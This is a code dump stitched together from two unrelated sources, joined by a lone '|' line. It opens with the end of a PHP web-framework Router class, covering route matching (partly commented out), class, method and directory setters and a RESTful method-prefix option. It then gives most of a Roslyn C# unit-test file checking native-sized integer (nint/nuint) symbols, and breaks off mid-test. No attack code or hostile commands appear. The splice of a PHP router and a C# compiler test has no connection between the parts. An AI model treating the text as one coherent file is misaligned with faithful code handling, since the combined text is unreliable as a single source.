$http_verb = isset($_SERVER['REQUEST_METHOD']) ? strtolower($_SERVER['REQUEST_METHOD']) : 'cli';
// Loop through the route array looking for wildcards
foreach ($this->routes as $key => $val)
{
// Check if route format is using HTTP verbs
if (is_array($val))
{
$val = array_change_key_case($val, CASE_LOWER);
if (isset($val[$http_verb]))
{
$val = $val[$http_verb];
}
else
{
continue;
}
}
// Convert wildcards to RegEx
$key = str_replace(array(':any', ':num'), array('[^/]+', '[0-9]+'), $key);
// Does the RegEx match?
if (preg_match('#^'.$key.'$#', $uri, $matches))
{
// Are we using callbacks to process back-references?
if ( ! is_string($val) && is_callable($val))
{
// Remove the original string from the matches array.
array_shift($matches);
// Execute the callback using the values in matches as its parameters.
$val = call_user_func_array($val, $matches);
}
// Are we using the default routing method for back-references?
elseif (strpos($val, '$') !== FALSE && strpos($key, '(') !== FALSE)
{
$val = preg_replace('#^'.$key.'$#', $val, $uri);
}
$this->_set_request(explode('/', $val));
return;
}
}*/
// If we got this far it means we didn't encounter a
// matching route so we'll set the site default route
$this->_set_request(array_values($this->uri->segments));
}
// --------------------------------------------------------------------
/**
* Set class name
*
* @param string $class Class name
* @return void
*/
public function set_class($class)
{
$this->class = str_replace(array('/', '.'), '', $class);
}
// --------------------------------------------------------------------
/**
* Set method name
*
* @param string $method Method name
* @return void
*/
public function set_method($method)
{
if ($this->config->item('restful')===TRUE
&&isset($_SERVER['REQUEST_METHOD'])){
switch ($_SERVER['REQUEST_METHOD']) {
case 'POST':
$this->method = 'add'.$method;
break;
case 'PUT':
$this->method = 'mod'.$method;
break;
case 'DELETE':
$this->method = 'del'.$method;
break;
default:
$this->method = $method;
break;
}
}else $this->method = $method;
}
// --------------------------------------------------------------------
/**
* Set directory name
*
* @param string $dir Directory name
* @param bool $append Whether we're appending rather than setting the full value
* @return void
*/
public function set_directory($dir, $append = FALSE)
{
if ($append !== TRUE OR empty($this->directory))
{
$this->directory = str_replace('.', '', trim($dir, '/')).'/';
}
else
{
$this->directory .= str_replace('.', '', trim($dir, '/')).'/';
}
}
}
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Linq;
using Microsoft.CodeAnalysis.CSharp.Symbols;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.CSharp.Test.Utilities;
using Microsoft.CodeAnalysis.Emit;
using Microsoft.CodeAnalysis.PooledObjects;
using Microsoft.CodeAnalysis.Test.Extensions;
using Microsoft.CodeAnalysis.Test.Utilities;
using Roslyn.Test.Utilities;
using Roslyn.Utilities;
using Xunit;
using ReferenceEqualityComparer = Roslyn.Utilities.ReferenceEqualityComparer;
namespace Microsoft.CodeAnalysis.CSharp.UnitTests.Semantics
{
public class NativeIntegerTests : CSharpTestBase
{
[Fact]
public void LanguageVersion()
{
var source =
@"interface I
{
nint Add(nint x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (3,5): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(3, 5),
// (3,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(3, 14),
// (3,22): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(3, 22));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
/// <summary>
/// System.IntPtr and System.UIntPtr definitions from metadata.
/// </summary>
[Fact]
public void TypeDefinitions_FromMetadata()
{
var source =
@"interface I
{
void F1(System.IntPtr x, nint y);
void F2(System.UIntPtr x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var type = comp.GetTypeByMetadataName("System.IntPtr");
VerifyType(type, signed: true, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: true, isNativeInt: false);
type = comp.GetTypeByMetadataName("System.UIntPtr");
VerifyType(type, signed: false, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: false, isNativeInt: false);
var method = comp.GetMember<MethodSymbol>("I.F1");
Assert.Equal("void I.F1(System.IntPtr x, nint y)", method.ToTestDisplayString());
Assert.Equal("Sub I.F1(x As System.IntPtr, y As System.IntPtr)", VisualBasic.SymbolDisplay.ToDisplayString(method.GetPublicSymbol(), SymbolDisplayFormat.TestFormat));
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: true);
method = comp.GetMember<MethodSymbol>("I.F2");
Assert.Equal("void I.F2(System.UIntPtr x, nuint y)", method.ToTestDisplayString());
Assert.Equal("Sub I.F2(x As System.UIntPtr, y As System.UIntPtr)", VisualBasic.SymbolDisplay.ToDisplayString(method.GetPublicSymbol(), SymbolDisplayFormat.TestFormat));
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: false);
}
/// <summary>
/// System.IntPtr and System.UIntPtr definitions from source.
/// </summary>
[Fact]
public void TypeDefinitions_FromSource()
{
var sourceA =
@"namespace System
{
public class Object
{
public virtual string ToString() => null;
public virtual int GetHashCode() => 0;
public virtual bool Equals(object obj) => false;
}
public class String { }
public abstract class ValueType
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public interface IEquatable<T>
{
bool Equals(T other);
}
public struct IntPtr : IEquatable<IntPtr>
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
bool IEquatable<IntPtr>.Equals(IntPtr other) => false;
}
public struct UIntPtr : IEquatable<UIntPtr>
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
bool IEquatable<UIntPtr>.Equals(UIntPtr other) => false;
}
}";
var sourceB =
@"interface I
{
void F1(System.IntPtr x, nint y);
void F2(System.UIntPtr x, nuint y);
}";
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var type = comp.GetTypeByMetadataName("System.IntPtr");
VerifyType(type, signed: true, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: true, isNativeInt: false);
type = comp.GetTypeByMetadataName("System.UIntPtr");
VerifyType(type, signed: false, isNativeInt: false);
VerifyType(type.GetPublicSymbol(), signed: false, isNativeInt: false);
var method = comp.GetMember<MethodSymbol>("I.F1");
Assert.Equal("void I.F1(System.IntPtr x, nint y)", method.ToTestDisplayString());
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: true);
method = comp.GetMember<MethodSymbol>("I.F2");
Assert.Equal("void I.F2(System.UIntPtr x, nuint y)", method.ToTestDisplayString());
VerifyTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: false);
}
}
private static void VerifyType(NamedTypeSymbol type, bool signed, bool isNativeInt)
{
Assert.Equal(signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr, type.SpecialType);
Assert.Equal(SymbolKind.NamedType, type.Kind);
Assert.Equal(TypeKind.Struct, type.TypeKind);
Assert.Same(type, type.ConstructedFrom);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(signed ? "IntPtr" : "UIntPtr", type.Name);
if (isNativeInt)
{
VerifyMembers(type);
}
}
private static void VerifyType(INamedTypeSymbol type, bool signed, bool isNativeInt)
{
Assert.Equal(signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr, type.SpecialType);
Assert.Equal(SymbolKind.NamedType, type.Kind);
Assert.Equal(TypeKind.Struct, type.TypeKind);
Assert.Same(type, type.ConstructedFrom);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(signed ? "IntPtr" : "UIntPtr", type.Name);
if (isNativeInt)
{
VerifyMembers(type);
}
}
private static void VerifyTypes(INamedTypeSymbol underlyingType, INamedTypeSymbol nativeIntegerType, bool signed)
{
VerifyType(underlyingType, signed, isNativeInt: false);
VerifyType(nativeIntegerType, signed, isNativeInt: true);
Assert.Same(underlyingType.ContainingSymbol, nativeIntegerType.ContainingSymbol);
Assert.Same(underlyingType.Name, nativeIntegerType.Name);
VerifyMembers(underlyingType, nativeIntegerType, signed);
VerifyInterfaces(underlyingType, underlyingType.Interfaces, nativeIntegerType, nativeIntegerType.Interfaces);
Assert.NotSame(underlyingType, nativeIntegerType);
Assert.Same(underlyingType, nativeIntegerType.NativeIntegerUnderlyingType);
Assert.NotEqual(underlyingType, nativeIntegerType);
Assert.NotEqual(nativeIntegerType, underlyingType);
Assert.False(underlyingType.Equals(nativeIntegerType));
Assert.False(((IEquatable<ISymbol>)underlyingType).Equals(nativeIntegerType));
Assert.False(underlyingType.Equals(nativeIntegerType, SymbolEqualityComparer.Default));
Assert.False(underlyingType.Equals(nativeIntegerType, SymbolEqualityComparer.IncludeNullability));
Assert.False(underlyingType.Equals(nativeIntegerType, SymbolEqualityComparer.ConsiderEverything));
Assert.True(underlyingType.Equals(nativeIntegerType, TypeCompareKind.IgnoreNativeIntegers));
Assert.Equal(underlyingType.GetHashCode(), nativeIntegerType.GetHashCode());
}
private static void VerifyInterfaces(INamedTypeSymbol underlyingType, ImmutableArray<INamedTypeSymbol> underlyingInterfaces, INamedTypeSymbol nativeIntegerType, ImmutableArray<INamedTypeSymbol> nativeIntegerInterfaces)
{
Assert.Equal(underlyingInterfaces.Length, nativeIntegerInterfaces.Length);
for (int i = 0; i < underlyingInterfaces.Length; i++)
{
verifyInterface(underlyingInterfaces[i], nativeIntegerInterfaces[i]);
}
void verifyInterface(INamedTypeSymbol underlyingInterface, INamedTypeSymbol nativeIntegerInterface)
{
Assert.True(underlyingInterface.Equals(nativeIntegerInterface, TypeCompareKind.IgnoreNativeIntegers));
for (int i = 0; i < underlyingInterface.TypeArguments.Length; i++)
{
var underlyingTypeArgument = underlyingInterface.TypeArguments[i];
var nativeIntegerTypeArgument = nativeIntegerInterface.TypeArguments[i];
Assert.Equal(underlyingTypeArgument.Equals(underlyingType, TypeCompareKind.AllIgnoreOptions), nativeIntegerTypeArgument.Equals(nativeIntegerType, TypeCompareKind.AllIgnoreOptions));
}
}
}
private static void VerifyMembers(INamedTypeSymbol underlyingType, INamedTypeSymbol nativeIntegerType, bool signed)
{
Assert.Empty(nativeIntegerType.GetTypeMembers());
var nativeIntegerMembers = nativeIntegerType.GetMembers();
var underlyingMembers = underlyingType.GetMembers();
var nativeIntegerMemberNames = nativeIntegerType.MemberNames;
AssertEx.Equal(nativeIntegerMembers.SelectAsArray(m => m.Name), nativeIntegerMemberNames);
var expectedMembers = underlyingMembers.WhereAsArray(m => includeUnderlyingMember(m)).Sort(SymbolComparison).SelectAsArray(m => m.ToTestDisplayString());
var actualMembers = nativeIntegerMembers.WhereAsArray(m => includeNativeIntegerMember(m)).Sort(SymbolComparison).SelectAsArray(m => m.ToTestDisplayString().Replace(signed ? "nint" : "nuint", signed ? "System.IntPtr" : "System.UIntPtr"));
AssertEx.Equal(expectedMembers, actualMembers);
static bool includeUnderlyingMember(ISymbol underlyingMember)
{
if (underlyingMember.DeclaredAccessibility != Accessibility.Public)
{
return false;
}
switch (underlyingMember.Kind)
{
case SymbolKind.Method:
var method = (IMethodSymbol)underlyingMember;
if (method.IsGenericMethod)
{
return false;
}
switch (method.MethodKind)
{
case MethodKind.Ordinary:
return !IsSkippedMethodName(method.Name);
case MethodKind.PropertyGet:
case MethodKind.PropertySet:
return includeUnderlyingMember(method.AssociatedSymbol);
default:
return false;
}
case SymbolKind.Property:
var property = (IPropertySymbol)underlyingMember;
return property.Parameters.Length == 0 && !IsSkippedPropertyName(property.Name);
default:
return false;
}
}
static bool includeNativeIntegerMember(ISymbol nativeIntegerMember)
{
return !(nativeIntegerMember is IMethodSymbol { MethodKind: MethodKind.Constructor });
}
}
private static void VerifyTypes(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType, bool signed)
{
VerifyType(underlyingType, signed, isNativeInt: false);
VerifyType(nativeIntegerType, signed, isNativeInt: true);
Assert.Same(underlyingType.ContainingSymbol, nativeIntegerType.ContainingSymbol);
Assert.Same(underlyingType.Name, nativeIntegerType.Name);
VerifyMembers(underlyingType, nativeIntegerType, signed);
VerifyInterfaces(underlyingType, underlyingType.InterfacesNoUseSiteDiagnostics(), nativeIntegerType, nativeIntegerType.InterfacesNoUseSiteDiagnostics());
VerifyInterfaces(underlyingType, underlyingType.GetDeclaredInterfaces(null), nativeIntegerType, nativeIntegerType.GetDeclaredInterfaces(null));
Assert.Null(underlyingType.NativeIntegerUnderlyingType);
Assert.Same(nativeIntegerType, underlyingType.AsNativeInteger());
Assert.Same(underlyingType, nativeIntegerType.NativeIntegerUnderlyingType);
VerifyEqualButDistinct(underlyingType, underlyingType.AsNativeInteger());
VerifyEqualButDistinct(nativeIntegerType, nativeIntegerType.NativeIntegerUnderlyingType);
VerifyEqualButDistinct(underlyingType, nativeIntegerType);
VerifyTypes(underlyingType.GetPublicSymbol(), nativeIntegerType.GetPublicSymbol(), signed);
}
private static void VerifyEqualButDistinct(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType)
{
Assert.NotSame(underlyingType, nativeIntegerType);
Assert.NotEqual(underlyingType, nativeIntegerType);
Assert.NotEqual(nativeIntegerType, underlyingType);
Assert.False(underlyingType.Equals(nativeIntegerType, TypeCompareKind.ConsiderEverything));
Assert.False(nativeIntegerType.Equals(underlyingType, TypeCompareKind.ConsiderEverything));
Assert.True(underlyingType.Equals(nativeIntegerType, TypeCompareKind.IgnoreNativeIntegers));
Assert.True(nativeIntegerType.Equals(underlyingType, TypeCompareKind.IgnoreNativeIntegers));
Assert.Equal(underlyingType.GetHashCode(), nativeIntegerType.GetHashCode());
}
private static void VerifyInterfaces(NamedTypeSymbol underlyingType, ImmutableArray<NamedTypeSymbol> underlyingInterfaces, NamedTypeSymbol nativeIntegerType, ImmutableArray<NamedTypeSymbol> nativeIntegerInterfaces)
{
Assert.Equal(underlyingInterfaces.Length, nativeIntegerInterfaces.Length);
for (int i = 0; i < underlyingInterfaces.Length; i++)
{
verifyInterface(underlyingInterfaces[i], nativeIntegerInterfaces[i]);
}
void verifyInterface(NamedTypeSymbol underlyingInterface, NamedTypeSymbol nativeIntegerInterface)
{
Assert.True(underlyingInterface.Equals(nativeIntegerInterface, TypeCompareKind.IgnoreNativeIntegers));
for (int i = 0; i < underlyingInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; i++)
{
var underlyingTypeArgument = underlyingInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type;
var nativeIntegerTypeArgument = nativeIntegerInterface.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type;
Assert.Equal(underlyingTypeArgument.Equals(underlyingType, TypeCompareKind.AllIgnoreOptions), nativeIntegerTypeArgument.Equals(nativeIntegerType, TypeCompareKind.AllIgnoreOptions));
}
}
}
private static void VerifyMembers(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType, bool signed)
{
Assert.Empty(nativeIntegerType.GetTypeMembers());
var nativeIntegerMembers = nativeIntegerType.GetMembers();
var underlyingMembers = underlyingType.GetMembers();
var nativeIntegerMemberNames = nativeIntegerType.MemberNames;
AssertEx.Equal(nativeIntegerMembers.SelectAsArray(m => m.Name), nativeIntegerMemberNames);
var expectedMembers = underlyingMembers.WhereAsArray(m => includeUnderlyingMember(m)).Sort(SymbolComparison);
var actualMembers = nativeIntegerMembers.WhereAsArray(m => includeNativeIntegerMember(m)).Sort(SymbolComparison);
Assert.Equal(expectedMembers.Length, actualMembers.Length);
for (int i = 0; i < expectedMembers.Length; i++)
{
VerifyMember(actualMembers[i], expectedMembers[i], signed);
}
static bool includeUnderlyingMember(Symbol underlyingMember)
{
if (underlyingMember.DeclaredAccessibility != Accessibility.Public)
{
return false;
}
switch (underlyingMember.Kind)
{
case SymbolKind.Method:
var method = (MethodSymbol)underlyingMember;
if (method.IsGenericMethod)
{
return false;
}
switch (method.MethodKind)
{
case MethodKind.Ordinary:
return !IsSkippedMethodName(method.Name);
case MethodKind.PropertyGet:
case MethodKind.PropertySet:
return includeUnderlyingMember(method.AssociatedSymbol);
default:
return false;
}
case SymbolKind.Property:
var property = (PropertySymbol)underlyingMember;
return property.ParameterCount == 0 && !IsSkippedPropertyName(property.Name);
default:
return false;
}
}
static bool includeNativeIntegerMember(Symbol nativeIntegerMember)
{
return !(nativeIntegerMember is MethodSymbol { MethodKind: MethodKind.Constructor });
}
}
private static void VerifyMembers(NamedTypeSymbol type)
{
var memberNames = type.MemberNames;
var allMembers = type.GetMembers();
Assert.Equal(allMembers, type.GetMembers()); // same array
foreach (var member in allMembers)
{
Assert.Contains(member.Name, memberNames);
verifyMember(type, member);
}
var unorderedMembers = type.GetMembersUnordered();
Assert.Equal(allMembers.Length, unorderedMembers.Length);
verifyMembers(type, allMembers, unorderedMembers);
foreach (var memberName in memberNames)
{
var members = type.GetMembers(memberName);
Assert.False(members.IsDefaultOrEmpty);
verifyMembers(type, allMembers, members);
}
static void verifyMembers(NamedTypeSymbol type, ImmutableArray<Symbol> allMembers, ImmutableArray<Symbol> members)
{
foreach (var member in members)
{
Assert.Contains(member, allMembers);
verifyMember(type, member);
}
}
static void verifyMember(NamedTypeSymbol type, Symbol member)
{
Assert.Same(type, member.ContainingSymbol);
Assert.Same(type, member.ContainingType);
if (member is MethodSymbol method)
{
var parameters = method.Parameters;
Assert.Equal(parameters, method.Parameters); // same array
}
}
}
private static void VerifyMembers(INamedTypeSymbol type)
{
var memberNames = type.MemberNames;
var allMembers = type.GetMembers();
Assert.Equal(allMembers, type.GetMembers(), ReferenceEqualityComparer.Instance); // same member instances
foreach (var member in allMembers)
{
Assert.Contains(member.Name, memberNames);
verifyMember(type, member);
}
foreach (var memberName in memberNames)
{
var members = type.GetMembers(memberName);
Assert.False(members.IsDefaultOrEmpty);
verifyMembers(type, allMembers, members);
}
static void verifyMembers(INamedTypeSymbol type, ImmutableArray<ISymbol> allMembers, ImmutableArray<ISymbol> members)
{
foreach (var member in members)
{
Assert.Contains(member, allMembers);
verifyMember(type, member);
}
}
static void verifyMember(INamedTypeSymbol type, ISymbol member)
{
Assert.Same(type, member.ContainingSymbol);
Assert.Same(type, member.ContainingType);
}
}
private static void VerifyMember(Symbol member, Symbol underlyingMember, bool signed)
{
var specialType = signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr;
Assert.Equal(member.Name, underlyingMember.Name);
Assert.Equal(member.DeclaredAccessibility, underlyingMember.DeclaredAccessibility);
Assert.Equal(member.IsStatic, underlyingMember.IsStatic);
Assert.NotEqual(member, underlyingMember);
Assert.True(member.Equals(underlyingMember, TypeCompareKind.IgnoreNativeIntegers));
Assert.False(member.Equals(underlyingMember, TypeCompareKind.ConsiderEverything));
Assert.Same(underlyingMember, getUnderlyingMember(member));
Assert.Equal(member.GetHashCode(), underlyingMember.GetHashCode());
switch (member.Kind)
{
case SymbolKind.Method:
{
var method = (MethodSymbol)member;
var underlyingMethod = (MethodSymbol)underlyingMember;
verifyTypes(method.ReturnTypeWithAnnotations, underlyingMethod.ReturnTypeWithAnnotations);
for (int i = 0; i < method.ParameterCount; i++)
{
VerifyMember(method.Parameters[i], underlyingMethod.Parameters[i], signed);
}
}
break;
case SymbolKind.Property:
{
var property = (PropertySymbol)member;
var underlyingProperty = (PropertySymbol)underlyingMember;
verifyTypes(property.TypeWithAnnotations, underlyingProperty.TypeWithAnnotations);
}
break;
case SymbolKind.Parameter:
{
var parameter = (ParameterSymbol)member;
var underlyingParameter = (ParameterSymbol)underlyingMember;
verifyTypes(parameter.TypeWithAnnotations, underlyingParameter.TypeWithAnnotations);
}
break;
default:
throw ExceptionUtilities.UnexpectedValue(member.Kind);
}
var explicitImplementations = member.GetExplicitInterfaceImplementations();
Assert.Equal(0, explicitImplementations.Length);
void verifyTypes(TypeWithAnnotations fromMember, TypeWithAnnotations fromUnderlyingMember)
{
Assert.True(fromMember.Equals(fromUnderlyingMember, TypeCompareKind.IgnoreNativeIntegers));
// No use of underlying type in native integer member.
Assert.False(containsType(fromMember, useNativeInteger: false));
// No use of native integer in underlying member.
Assert.False(containsType(fromUnderlyingMember, useNativeInteger: true));
// Use of underlying type in underlying member should match use of native type in native integer member.
Assert.Equal(containsType(fromMember, useNativeInteger: true), containsType(fromUnderlyingMember, useNativeInteger: false));
Assert.NotEqual(containsType(fromMember, useNativeInteger: true), fromMember.Equals(fromUnderlyingMember, TypeCompareKind.ConsiderEverything));
}
bool containsType(TypeWithAnnotations type, bool useNativeInteger)
{
return type.Type.VisitType((type, unused1, unused2) => type.SpecialType == specialType && useNativeInteger == type.IsNativeIntegerType, (object)null) is { };
}
static Symbol getUnderlyingMember(Symbol nativeIntegerMember)
{
switch (nativeIntegerMember.Kind)
{
case SymbolKind.Method:
return ((WrappedMethodSymbol)nativeIntegerMember).UnderlyingMethod;
case SymbolKind.Property:
return ((WrappedPropertySymbol)nativeIntegerMember).UnderlyingProperty;
case SymbolKind.Parameter:
return ((WrappedParameterSymbol)nativeIntegerMember).UnderlyingParameter;
default:
throw ExceptionUtilities.UnexpectedValue(nativeIntegerMember.Kind);
}
}
}
private static bool IsSkippedMethodName(string name)
{
switch (name)
{
case "Add":
case "Subtract":
case "ToInt32":
case "ToInt64":
case "ToUInt32":
case "ToUInt64":
case "ToPointer":
return true;
default:
return false;
}
}
private static bool IsSkippedPropertyName(string name)
{
switch (name)
{
case "Size":
return true;
default:
return false;
}
}
private static int SymbolComparison(Symbol x, Symbol y) => SymbolComparison(x.ToTestDisplayString(), y.ToTestDisplayString());
private static int SymbolComparison(ISymbol x, ISymbol y) => SymbolComparison(x.ToTestDisplayString(), y.ToTestDisplayString());
private static int SymbolComparison(string x, string y)
{
return string.CompareOrdinal(normalizeDisplayString(x), normalizeDisplayString(y));
static string normalizeDisplayString(string s) => s.Replace("System.IntPtr", "nint").Replace("System.UIntPtr", "nuint");
}
[Fact]
public void MissingTypes()
{
var sourceA =
@"namespace System
{
public class Object { }
public abstract class ValueType { }
public struct Void { }
}";
var sourceB =
@"interface I
{
void F1(System.IntPtr x, nint y);
void F2(System.UIntPtr x, nuint y);
}";
var diagnostics = new[]
{
// (3,20): error CS0234: The underlyingType or namespace name 'IntPtr' does not exist in the namespace 'System' (are you missing an assembly reference?)
// void F1(System.IntPtr x, nint y);
Diagnostic(ErrorCode.ERR_DottedTypeNameNotFoundInNS, "IntPtr").WithArguments("IntPtr", "System").WithLocation(3, 20),
// (3,30): error CS0518: Predefined underlyingType 'System.IntPtr' is not defined or imported
// void F1(System.IntPtr x, nint y);
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nint").WithArguments("System.IntPtr").WithLocation(3, 30),
// (4,20): error CS0234: The underlyingType or namespace name 'UIntPtr' does not exist in the namespace 'System' (are you missing an assembly reference?)
// void F2(System.UIntPtr x, nuint y);
Diagnostic(ErrorCode.ERR_DottedTypeNameNotFoundInNS, "UIntPtr").WithArguments("UIntPtr", "System").WithLocation(4, 20),
// (4,31): error CS0518: Predefined underlyingType 'System.UIntPtr' is not defined or imported
// void F2(System.UIntPtr x, nuint y);
Diagnostic(ErrorCode.ERR_PredefinedTypeNotFound, "nuint").WithArguments("System.UIntPtr").WithLocation(4, 31)
};
var comp = CreateEmptyCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
verify(comp);
comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateEmptyCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
verify(comp);
comp = CreateEmptyCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
verify(comp);
static void verify(CSharpCompilation comp)
{
var method = comp.GetMember<MethodSymbol>("I.F1");
Assert.Equal("void I.F1(System.IntPtr x, nint y)", method.ToTestDisplayString());
VerifyErrorTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: true);
method = comp.GetMember<MethodSymbol>("I.F2");
Assert.Equal("void I.F2(System.UIntPtr x, nuint y)", method.ToTestDisplayString());
VerifyErrorTypes((NamedTypeSymbol)method.Parameters[0].Type, (NamedTypeSymbol)method.Parameters[1].Type, signed: false);
}
}
private static void VerifyErrorType(NamedTypeSymbol type, SpecialType specialType, bool isNativeInt)
{
Assert.Equal(SymbolKind.ErrorType, type.Kind);
Assert.Equal(TypeKind.Error, type.TypeKind);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(specialType, type.SpecialType);
}
private static void VerifyErrorType(INamedTypeSymbol type, SpecialType specialType, bool isNativeInt)
{
Assert.Equal(SymbolKind.ErrorType, type.Kind);
Assert.Equal(TypeKind.Error, type.TypeKind);
Assert.Equal(isNativeInt, type.IsNativeIntegerType);
Assert.Equal(specialType, type.SpecialType);
}
private static void VerifyErrorTypes(NamedTypeSymbol underlyingType, NamedTypeSymbol nativeIntegerType, bool signed)
{
var specialType = signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr;
VerifyErrorType(underlyingType, SpecialType.None, isNativeInt: false);
VerifyErrorType(nativeIntegerType, specialType, isNativeInt: true);
Assert.Null(underlyingType.NativeIntegerUnderlyingType);
VerifyErrorType(nativeIntegerType.NativeIntegerUnderlyingType, specialType, isNativeInt: false);
VerifyEqualButDistinct(nativeIntegerType.NativeIntegerUnderlyingType, nativeIntegerType);
VerifyErrorTypes(underlyingType.GetPublicSymbol(), nativeIntegerType.GetPublicSymbol(), signed);
}
private static void VerifyErrorTypes(INamedTypeSymbol underlyingType, INamedTypeSymbol nativeIntegerType, bool signed)
{
var specialType = signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr;
VerifyErrorType(underlyingType, SpecialType.None, isNativeInt: false);
VerifyErrorType(nativeIntegerType, specialType, isNativeInt: true);
Assert.Null(underlyingType.NativeIntegerUnderlyingType);
VerifyErrorType(nativeIntegerType.NativeIntegerUnderlyingType, specialType, isNativeInt: false);
}
[Fact]
public void Retargeting_01()
{
var sourceA =
@"public class A
{
public static nint F1 = int.MinValue;
public static nuint F2 = int.MaxValue;
public static nint F3 = -1;
public static nuint F4 = 1;
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Mscorlib40);
var refA = comp.ToMetadataReference();
var typeA = comp.GetMember<FieldSymbol>("A.F1").Type;
var corLibA = comp.Assembly.CorLibrary;
Assert.Equal(corLibA, typeA.ContainingAssembly);
var sourceB =
@"class B : A
{
static void Main()
{
System.Console.WriteLine(""{0}, {1}, {2}, {3}"", F1, F2, F3, F4);
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9, targetFramework: TargetFramework.Mscorlib45);
CompileAndVerify(comp, expectedOutput: $"{int.MinValue}, {int.MaxValue}, -1, 1");
var corLibB = comp.Assembly.CorLibrary;
Assert.NotEqual(corLibA, corLibB);
var f1 = comp.GetMember<FieldSymbol>("A.F1");
verifyField(f1, "nint A.F1", corLibB);
var f2 = comp.GetMember<FieldSymbol>("A.F2");
verifyField(f2, "nuint A.F2", corLibB);
var f3 = comp.GetMember<FieldSymbol>("A.F3");
verifyField(f3, "nint A.F3", corLibB);
var f4 = comp.GetMember<FieldSymbol>("A.F4");
verifyField(f4, "nuint A.F4", corLibB);
Assert.Same(f1.Type, f3.Type);
Assert.Same(f2.Type, f4.Type);
static void verifyField(FieldSymbol field, string expectedSymbol, AssemblySymbol expectedAssembly)
{
Assert.IsType<Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting.RetargetingFieldSymbol>(field);
Assert.Equal(expectedSymbol, field.ToTestDisplayString());
var type = (NamedTypeSymbol)field.Type;
Assert.True(type.IsNativeIntegerType);
Assert.IsType<NativeIntegerTypeSymbol>(type);
Assert.Equal(expectedAssembly, type.NativeIntegerUnderlyingType.ContainingAssembly);
}
}
[Fact]
public void Retargeting_02()
{
var source1 =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr { }
public struct UIntPtr { }
}";
var assemblyName = GetUniqueName();
var comp = CreateCompilation(new AssemblyIdentity(assemblyName, new Version(1, 0, 0, 0)), new[] { source1 }, references: null);
